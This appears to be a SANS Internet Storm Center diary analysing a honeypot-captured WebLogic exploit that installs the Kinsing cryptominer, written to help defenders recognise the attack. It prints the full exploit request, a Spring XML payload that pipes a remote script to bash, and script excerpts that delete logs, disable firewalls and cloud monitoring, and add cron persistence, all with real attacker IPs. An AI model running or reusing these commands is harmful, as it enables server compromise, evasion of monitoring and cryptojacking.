Looking through my honeypot logs for some Spring4Shell exploits (I didn't find anything interesting), I came across this attempt to exploit an older WebLogic vulnerability (likely CVE-2020-14882 or CVE-2020-14883). The exploit itself is "run of the mill," but the script downloaded is going through an excessively long list of competitors to disable and disabled cloud monitoring tools, likely to make detecting and response more difficult. Many organizations will not notice that they do not receive any more alerts ;-)

The initial exploit came from 109.237.96.124 (IP is in Russia and has been scanning for port 7001 for a couple of weeks now):

POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
Host: [redcated]:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
 like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Content-Length: 148
Connection: Keep-Alive

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://185.231.153.4/wb.xml")

It is pretty apparent from the above code that the exploit attempts to download wb.xml from 185.231.153.4 (another Russian IP. Appears not to be involved in any active scanning).

 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>/bin/bash</value>
                <value>-c</value>
                <value><![CDATA[(curl -s 185.231.153.4/wb.sh||wget -q -O- 185.231.153.4/wb.sh)|bash]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

This leads us to wb.sh, downloaded from the same host. wb.sh is the actual script installing the miner and disabling the competition. I will not post the full script here as it is too long. But just samples from various parts. The SHA256 hash of wb.sh is ea8727980efe4be07bcbaf300f7e7af354589b81c1bf7ca474a19ac9dcc01b1b. 

It starts with disabling various typical security limits (note the changes to the /tmp directories. That is not super common)

touch /tmp/zzza
ulimit -n 65535
rm -rf /var/log/syslog
chattr -iua /tmp/
chattr -iua /var/tmp/
chattr -R -i /var/spool/cron
chattr -i /etc/crontab
ufw disable
iptables -F

[ and more... ]

Next, it uninstalls and kills the "aliyun-service." Aliyun(Alibaba Cloud) installs by default various monitoring and security tools. The script downloads a tool to disable them.

if ps aux | grep -i '[a]liyun'; then
  curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
  curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  pkill aliyun-service
  rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  rm -rf /usr/local/aegis*
  systemctl stop aliyun.service
  systemctl disable aliyun.service
  service bcm-agent stop
  yum remove bcm-agent -y
  apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
  /usr/local/qcloud/stargate/admin/uninstall.sh
  /usr/local/qcloud/YunJing/uninst.sh
  /usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi

Next, it starts to kill processes that connect to specific IP addresses. Not sure about the significance of the IP addresses (185.71.65.238, 140.82.52.87, 34.81.218.76, 42.112.28.216, 207.38.87.6, 42.112.28.216). For example:

netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}'
| xargs -I % kill -9 %

And it kills processes connecting to various ports regardless of the IP (143, 2222, 3333,3389, 4444, 5555, and more). As many miner scripts do, it also has a long list of process names it kills like:

pkill -f .javae
pkill -f .syna
pkill -f .main
pkill -f xmm
pkill -f solr.sh

It appears to kill competing miners and some valid processes, maybe to free up CPU cycles for the miner or to eliminate competitors masquerading as a valid process. It even goes so far as to check if any miners are running inside docker:

docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "monero" | awk '{print $1}' | xargs -I % docker kill %
docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill %

Finally, we get to download the miner:

BIN_MD5="2c44b4e4706b8bd95d1866d7867efa0e"
BIN_DOWNLOAD_URL="http://185.231.153.4/kinsing"
BIN_DOWNLOAD_URL2="http://185.231.153.4/kinsing"
BIN_NAME="kinsing"

This malware is nothing new and well known to Virustotal [1]

The malware achieves persistence by adding a cron job:

echo "* * * * * $LDR http://185.191.32.198/wb.sh | sh > /dev/null 2>&1"

In summary:

Specifically, disabling the Alibaba Cloud monitoring tools is new to me. I didn't see any other endpoint security tools disabled (sure, things like SELinux and such, but no AV tools). Maybe I missed some among the long list of "kill" commands. But essentially, this script is targeting Alibaba Cloud users and assuming the machine they are breaching is pretty much unused and nobody but Alibaba is monitoring it.

[1] https://www.virustotal.com/gui/file/5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|